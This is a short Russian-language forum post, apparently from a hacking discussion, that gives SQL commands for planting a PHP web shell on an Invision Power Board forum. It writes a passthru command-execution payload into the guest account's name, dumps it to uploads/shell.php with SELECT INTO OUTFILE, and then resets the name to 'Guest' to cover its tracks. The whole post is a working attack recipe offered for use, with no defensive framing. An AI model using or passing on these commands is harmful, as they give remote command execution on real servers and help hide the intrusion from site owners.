если конкретно для ipb то шел легко заливается командами (если хватит прав естессно)

UPDATE ibf_members SET name='<? passthru("$cmd"); ?>'WHERE id='0';

SELECT name FROM `ibf_members` WHERE id='0' INTO OUTFILE '/PATH_TO_FORUM/uploads/shell.php';

потом прибираемся за собой
UPDATE ibf_members SET name='Guest'WHERE id='0';

и ищем наш шел в uploads